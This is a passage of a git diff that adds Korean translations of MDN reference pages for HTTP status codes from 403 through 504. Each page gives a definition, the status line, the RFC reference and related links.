+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox notranslate">403 Forbidden</pre>
+
+<h2 id="응답_예시">응답 예시</h2>
+
+<pre class="notranslate">HTTP/1.1 403 Forbidden
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td>
+   <td>HTTP/1.1: Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 표는 구조화된 데이터에서 생성됩니다. 만약 이 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 방문하고 full-request를 보내주세요.</p>
+
+<p>{{Compat("http/status", "403")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPStatus("401")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/404/index.html b/files/ko/web/http/status/404/index.html
new file mode 100644
index 0000000000..0e1a077cc9
--- /dev/null
+++ b/files/ko/web/http/status/404/index.html
@@ -0,0 +1,59 @@
+---
+title: 404 Not Found
+slug: Web/HTTP/Status/404
+tags:
+  - 브라우저
+  - 상태 코드
+translation_of: Web/HTTP/Status/404
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>404</strong></code><strong><code> Not Found</code></strong> 클라이언트 오류 응답 코드는 서버가 요청받은 리소스를 찾을 수 없다는 것을 의미합니다. 404 페이지를 띄우는 링크는 대체로 브로큰 링크(broken link) 또는 데드 링크(dead link)라고 부르며, <a href="https://en.wikipedia.org/wiki/Link_rot">link rot</a> 대상일 수도 있습니다.</p>
+
+<p>404 상태 코드는 리소스가 일시적, 또는 영구적으로 사라졌다는 것을 의미하지는 않습니다. 리소스가 영구적히 삭제되었다면 404 상태 코드 대신 {{HTTPStatus(410)}} (Gone) 상태 코드가 쓰여야 합니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">404 Not Found</pre>
+
+<h2 id="커스텀_에러_페이지">커스텀 에러 페이지</h2>
+
+<p>많은 웹사이트들이 사용자에게 더 많은 도움을 주기 위해 404 페이지의 모습을 커스터마이징합니다. 아파치 서버는 <code>.htaccess</code> 파일에 아래와 같은 코드를 작성해 설정할 수 있습니다.</p>
+
+<pre class="brush: bash">ErrorDocument 404 /notfound.html</pre>
+
+<p>커스텀 404 페이지의 예시로는 <a href="https://developer.mozilla.org/en-US/404">MDN's 404 page</a>을 참고해보세요.</p>
+
+<div class="note">
+<p>적당한 커스텀 디자인은 좋습니다. 404 페이지를 재밌게 만들되, 사용자를 혼란스럽게 하지는 마세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.404")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPStatus(410)}}</li>
+ <li>
+  <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p>
+ </li>
+</ul>
diff --git a/files/ko/web/http/status/405/index.html b/files/ko/web/http/status/405/index.html
new file mode 100644
index 0000000000..4c7d933bd9
--- /dev/null
+++ b/files/ko/web/http/status/405/index.html
@@ -0,0 +1,37 @@
+---
+title: 405 Method Not Allowed
+slug: Web/HTTP/Status/405
+translation_of: Web/HTTP/Status/405
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>하이퍼텍스트 전송 프로토콜(HTTP)의 <code><strong>405 Method Not Allowed</strong></code> 응답 상태 코드는 요청 방법이 서버에 의해 알려졌으나, 사용 불가능한 상태임을 가리킵니다.</p>
+
+<div class="note">
+<p><strong>유의: 두 가지 필수 메소드인 </strong>{{HTTPMethod("GET")}}와 {{HTTPMethod("HEAD")}}는 사용 불가능 하여서는 안 되며, 이러한 오류 타입을 반환해서는 안 됩니다.</p>
+</div>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">405 Method Not Allowed</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">기술 사양</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/408/index.html b/files/ko/web/http/status/408/index.html
new file mode 100644
index 0000000000..03e357a488
--- /dev/null
+++ b/files/ko/web/http/status/408/index.html
@@ -0,0 +1,42 @@
+---
+title: 408 Request Timeout
+slug: Web/HTTP/Status/408
+translation_of: Web/HTTP/Status/408
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HyperText Transfer Protocol (HTTP) <code><strong>408 Request Timeout</strong></code> 응답 상태 코드는 서버가 사용하지 않는 연결을 끊고 싶다는 것을 의미한다. 서버가 클라이언트의 요청 없이도 유휴 상태의 연결에 전송한다.</p>
+
+<p><code>408</code>은 서버가 계속해서 기다리기보다는 연결을 종료하기로 결정했다는 것을 알려주기 때문에, 서버는 응답에 "close" {{HTTPHeader("Connection")}}헤더 필드를 추가해서 전송해야한다.</p>
+
+<p>크롬, 파이어폭스 27+, 그리고 인터넷 익스플로러 9와 같은 브라우저들이 서핑 속도를 높이기 위해 HTTP pre-connection 방식을 사용하기 때문에 이 응답이 더 많이 사용되고 있다.</p>
+
+<div class="note">
+<p><strong>Note: 어떤 서버들은 이 메세지를 전송하지 않고 연결을 종료할 수도 있다</strong>.</p>
+</div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">408 요청 시간 만료</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "408 Request Timeout" , "6.5.7")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li>{{HTTPHeader("X-DNS-Prefetch-Control")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/409/index.html b/files/ko/web/http/status/409/index.html
new file mode 100644
index 0000000000..84bd9c3af4
--- /dev/null
+++ b/files/ko/web/http/status/409/index.html
@@ -0,0 +1,41 @@
+---
+title: 409 Conflict
+slug: Web/HTTP/Status/409
+translation_of: Web/HTTP/Status/409
+---
+<div>{{HTTPSidebar}}</div>
+
+
+
+
+
+<p>HTTP <code><strong>409 Conflict</strong></code> 응답 상태 코드는 서버의 현재 상태와 요청이 충돌했음을 나타낸다.</p>
+
+<p>충돌은 {{HTTPMethod("PUT")}} 요청에 대응하여 발생할 가능성이 가장 높다. 예를 들어 서버에 이미 있는 파일보다 오래된 파일을 업로드할 때 409 응답이 발생하여 버전 제어 충돌이 발생할 수 있다.</p>
+
+
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">409 Conflict</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "409 Conflict" , "6.5.8")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPMethod("PUT")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/411/index.html b/files/ko/web/http/status/411/index.html
new file mode 100644
index 0000000000..1e3ab50a5c
--- /dev/null
+++ b/files/ko/web/http/status/411/index.html
@@ -0,0 +1,36 @@
+---
+title: 411 Length Required
+slug: Web/HTTP/Status/411
+translation_of: Web/HTTP/Status/411
+---
+<div>HyperText Transfer Protocol (HTTP) 411 Length Required 클라이언트 오류 응답 코드는 서버가 정의된 {{HTTPHeader("Content-Length")}} 헤더 없이 요청을 수락하지 않음을 나타낸다.</div>
+
+<div class="note">
+<p>참고: 사양별로 청크 시리즈로 데이터를 전송할 때 <code>Content-Length</code> 헤더가 생략되며, 각 청크의 시작 부분에서 현재 청크의 길이를 16진수 형식으로 추가해야 한다. 자세한 내용은 {{HTTPHeader("Transfer-Encoding")}}을(를) 참조하십시오.</p>
+</div>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">411 Length Required</pre>
+
+<h2 id="정의">정의</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "411 Length Required" , "6.5.10")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Length")}}</li>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/413/index.html b/files/ko/web/http/status/413/index.html
new file mode 100644
index 0000000000..2e922f4d3b
--- /dev/null
+++ b/files/ko/web/http/status/413/index.html
@@ -0,0 +1,34 @@
+---
+title: 413 Payload Too Large
+slug: Web/HTTP/Status/413
+translation_of: Web/HTTP/Status/413
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>HTTP 413 Payload Too Large 응답 상태 코드는 요청 엔터티가 서버에 의해 정의된 제한보다 크다는 것을 나타낸다. 서버가 연결을 닫거나 헤더 필드({{HTTPHeader("Retry-After")}})를 반환할 수 있다.</div>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">413 Payload Too Large</pre>
+
+<h2 id="정의">정의</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">정의</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/416/index.html b/files/ko/web/http/status/416/index.html
new file mode 100644
index 0000000000..3a2e1145d9
--- /dev/null
+++ b/files/ko/web/http/status/416/index.html
@@ -0,0 +1,51 @@
+---
+title: 416 Range Not Satisfiable
+slug: Web/HTTP/Status/416
+tags:
+  - HTTP
+  - 상태 코드
+  - 클라이언트 에러
+translation_of: Web/HTTP/Status/416
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>하이퍼텍스트 트랜스퍼 프로토콜(HTTP) <code><strong>416 Range Not Satisfiable</strong></code> 에러 응답 코드는 서버가 요청받은 범위에 대해서 서비스 할 수 없음을 알려줍니다. 아마도 이유는 그 문서가 그러한 범위를 지니고 있지 않거나, 또는 {{HTTPHeader("Range")}} 헤더 값이 문법적으로는 옳지만, 이해가 되지 않을 경우 그럴 수 있습니다.</p>
+
+<p>416 응답 메시지는 {{HTTPHeader("Content-Range")}} 를 포함하여 만족할 수 없는 범위(그 경우 <code>'*'</code>) 뒤에 <code>'/'</code>와 현재 리소스를 알려줍니다. 예: <code>Content-Range: */12777</code></p>
+
+<p>이 에러를 마주하면, 브라우저는 보통 명령을 취소하거나 전체 문서를 다시 요청합니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">416 Range Not Satisfiable</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">기술 사양</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "416 Request Not Satisfiable" , "4.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>). </p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.416")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPStatus(206)}} <code>Partial Content</code></li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/418/index.html b/files/ko/web/http/status/418/index.html
new file mode 100644
index 0000000000..217cca8598
--- /dev/null
+++ b/files/ko/web/http/status/418/index.html
@@ -0,0 +1,45 @@
+---
+title: 418 I'm a teapot
+slug: Web/HTTP/Status/418
+tags:
+  - HTTP
+  - HTTP 상태 코드
+  - Reference
+translation_of: Web/HTTP/Status/418
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>418 I'm a teapot</code></strong> 클라이언트 오류 응답 코드는 서버가 찻주전자이기 때문에 커피 내리기를 거절했다는 것을 의미합니다. 이 오류는 1998년 만우절 농담이었던 하이퍼 텍스트 커피 포트 제어 규약(Hyper Text Coffee Pot Control Protocol)의 레퍼런스입니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">418 I'm a teapot</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td>
+   <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.418")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>위키피디아 <a href="https://en.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol">Hyper Text Coffee Pot Control Protocol</a></li>
+</ul>
diff --git a/files/ko/web/http/status/422/index.html b/files/ko/web/http/status/422/index.html
new file mode 100644
index 0000000000..95305b6aff
--- /dev/null
+++ b/files/ko/web/http/status/422/index.html
@@ -0,0 +1,40 @@
+---
+title: 422 Unprocessable Entity
+slug: Web/HTTP/Status/422
+tags:
+  - Client error
+  - HTTP
+  - HTTP Status Code
+  - Reference
+  - Status code
+  - WebDAV
+translation_of: Web/HTTP/Status/422
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>이 응답은 서버가 요청을 이해하고 요청 문법도 올바르지만 요청된 지시를 따를 수 없음을 나타냅니다.</p>
+
+<div class="warning">
+<p><strong>중요</strong>: 클라이언트는 요청을 수정하지 않고 동일한 형태로 다시 보내서는 안됩니다.</p>
+</div>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">422 Unprocessable Entity</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("4918", "422 Unprocessable Entity" , "11.2")}}</td>
+   <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/http/status/431/index.html b/files/ko/web/http/status/431/index.html
new file mode 100644
index 0000000000..5b7fb103cb
--- /dev/null
+++ b/files/ko/web/http/status/431/index.html
@@ -0,0 +1,45 @@
+---
+title: 431 Request Header Fields Too Large
+slug: Web/HTTP/Status/431
+translation_of: Web/HTTP/Status/431
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">HTTP <code><strong>431 Request Header Fields Too Large</strong></code> 응답 코드는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>의 크기가 너무 크기 때문에 처리가 불가능함을 알려준다. 요청 헤더의 크기를 줄인 후, 재요청을 할 수 있다.</span></p>
+
+<p>431는 헤더 전체의 크기가 너무 크거나, 단일 헤더 필드가 너무 클 경우에 사용된다. 이 에러를 받는 유저를 위해 응답 body에 둘 중에 어느 경우인지 명시해줄 수 있다 — 이상적으로, 어느 헤더가 처리 불가능한지 알려주면 좋다. 그러면 쿠키를 삭제하는 것과 같이 유저가 문제를 해결할 수 있도록 도와준다.</p>
+
+<p>서버가 431 상태 코드를 전송할 경우:</p>
+
+<ul>
+ <li>{{ httpheader("Referer") }} URL이 너무 긴 경우</li>
+ <li>요청에 많은 양의 <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> 포함된 경우</li>
+</ul>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">431 Request Header Fields Too Large</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("6585", "431 Request Header Fields Too Large" , "5")}}</td>
+   <td>Additional HTTP Status Codes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus(414, "414 URI Too Long")}}</li>
+ <li>{{Glossary("Request header")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/500/index.html b/files/ko/web/http/status/500/index.html
new file mode 100644
index 0000000000..0e3a70b400
--- /dev/null
+++ b/files/ko/web/http/status/500/index.html
@@ -0,0 +1,41 @@
+---
+title: 500 Internal Server Error
+slug: Web/HTTP/Status/500
+tags:
+  - HTTP
+  - Server error
+  - Status code
+translation_of: Web/HTTP/Status/500
+---
+<div> </div>
+
+<p>하이퍼텍스트 전송 프로토콜 (HTTP) <code><strong>500 Internal Server Error</strong></code> 서버 에러 응답 코드는 요청을 처리하는 과정에서 서버가 예상하지 못한 상황에 놓였다는 것을 나타냅니다.</p>
+
+<p>이 에러 응답은 "서버 에러를 총칭하는"(catch-all) 구체적이지 않은 응답입니다. 종종, 서버 관리자들은 미래에 같은 에러를 발생하는 것을 방지하기 위해 500 상태 코드 같은 에러 응답들에 더 많은 자세한 내용을 남겨 둡니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">500 Internal Server Error</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>아래 보이는 정보는 MDN 의 Github 로부터 가져왔습니다.(<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.500")}}</p>
diff --git a/files/ko/web/http/status/501/index.html b/files/ko/web/http/status/501/index.html
new file mode 100644
index 0000000000..664d619b04
--- /dev/null
+++ b/files/ko/web/http/status/501/index.html
@@ -0,0 +1,48 @@
+---
+title: 501 Not Implemented
+slug: Web/HTTP/Status/501
+translation_of: Web/HTTP/Status/501
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">HyperText Transfer Protocol (HTTP) <code><strong>501 Not Implemented</strong></code> 서버 응답 코드는 <strong>요청을 수행할 수 있는 기능을 서버가 지원하지 않는다</strong>는 것을 의미합니다.요청자에게 서버에서 기능이 지원될 때, 다시 확인해볼 수 있도록 </span>{{HTTPHeader("Retry-After")}} 헤더를 전송해줄 수 있습니다. </p>
+
+<p><code>501</code> 는 서버가 요청 방법을 이해하지 못하거나나 어떤 리소스를 지원하지 않은 경우에 적절합니다. 서버가 필수적으로 지원하는 method에는 {{HTTPMethod("GET")}} 와 {{HTTPMethod("HEAD")}}가 있습니다.</p>
+
+<p>서버가 method를 이해하지 못하지만 고의적으로 지원하지 않는 경우에는 {{HTTPStatus(405, "405 Method Not Allowed")}} 응답이 적합합니다.</p>
+
+<div class="note">
+<ul>
+ <li>501 에러는 유저가 고칠 수 있는 영역이 아니며, 접속하려는 서버측에서의 문제가 있는 것</li>
+ <li>캐슁 헤더의 지시가 있지 않는 이상, 501 응답은 디폴트로 cacheable하다.</li>
+</ul>
+</div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">501 Not Implemented</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "501 Not Implemented" , "6.6.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>아래는 MDN Github(<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>)에서 가져온 정보입니다.</p>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("http.status.501")}}</p>
diff --git a/files/ko/web/http/status/502/index.html b/files/ko/web/http/status/502/index.html
new file mode 100644
index 0000000000..44df64b1c4
--- /dev/null
+++ b/files/ko/web/http/status/502/index.html
@@ -0,0 +1,49 @@
+---
+title: 502 Bad Gateway
+slug: Web/HTTP/Status/502
+translation_of: Web/HTTP/Status/502
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HyperText Transfer Protocol (HTTP) <code><strong>502 Bad Gateway</strong></code> 에러 응답코드는, 서버가 게이트웨이나 프록시 서버 역할을 하면서 업스트림 서버로부터 유효하지 않은 응답을 받았다는 것을 가르킨다.</p>
+
+<div class="note">
+<p><strong>Note: </strong>A {{interwiki("wikipedia", "Gateway_(telecommunications)", "Gateway")}} might refer to different things in networking and a 502 error is usually not something you can fix, but requires a fix by the web server or the proxies you are trying to get access through.</p>
+</div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">502 Bad Gateway
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("http.status.502")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus(504)}}</li>
+ <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li>
+</ul>
diff --git a/files/ko/web/http/status/503/index.html b/files/ko/web/http/status/503/index.html
new file mode 100644
index 0000000000..3b51dfdf85
--- /dev/null
+++ b/files/ko/web/http/status/503/index.html
@@ -0,0 +1,55 @@
+---
+title: 503 Service Unavailable
+slug: Web/HTTP/Status/503
+tags:
+  - '503'
+  - HTTP
+  - Server error
+  - Status code
+translation_of: Web/HTTP/Status/503
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>하이퍼텍스트 전송 프로토콜 (HTTP) <code><strong>503 Service Unavailable</strong></code> 서버 에러 응답(response) 코드는 서버가 요청(request)을 처리할 준비가 되지 않은 것을 나타낸다.</p>
+
+<p>흔하게는 서버가 점검을 위해 다운되거나 오버로드되어 발생한다. 이 응답(response)은 일시적인 상황를 위해 사용되어야 하며, {{HTTPHeader("Retry-After")}} HTTP header 는 가능하다면 서비스 복구를 위한 예상 시간을 포함해야 한다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 응답(response)과 함께, 이 문제에 대해 설명하는 user-friendly page 가 전달되어야 한다.</p>
+</div>
+
+<p>503 상태는 종종 일시적인 상황이며 응답(response) 들은 일반적으로 캐쉬되지 않아야 하므로,<br>
+ 이 응답(response)과 함께 전달되는 캐싱 관련 헤더들은 주의 깊게 다루어져야 한다.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">503 Service Unavailable</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.503")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/504/index.html b/files/ko/web/http/status/504/index.html
new file mode 100644
index 0000000000..13c65df17c
--- /dev/null
+++ b/files/ko/web/http/status/504/index.html
@@ -0,0 +1,50 @@
+---
+title: 504 Gateway Timeout
+slug: Web/HTTP/Status/504
+translation_of: Web/HTTP/Status/504
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>하이퍼텍스트 전송 프로토콜 (HTTP) <code><strong>504 Gateway Timeout</strong></code> 서버 에러 응답 코드는 서버가<br>
+ 게이트웨이(gateway) 혹은 프록시(proxy)의 역할을 하는 동안 시간 안에 업스트림 서버(upstream server)로부터 요청을 마치기 위해 필요한 응답를 받지 못 했음을 나타냅니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: {{interwiki("wikipedia", "Gateway_(telecommunications)", "Gateway")}} 는 네트워킹에서 다른 것을 가르킬 수 있고 504 에러는 주로 수정할 수 있는 것이 아니지만, 당신이 접근하려고 하는 웹 서버 혹은 프록시의 수정이 필요합니다.</p>
+</div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">504 Gateway Timeout</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>아래 보이는 정보는 MDN 의 Github 로부터 가져왔습니다.<br>
+ (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.504")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li>
+ <li>{{HTTPStatus(502)}}</li>
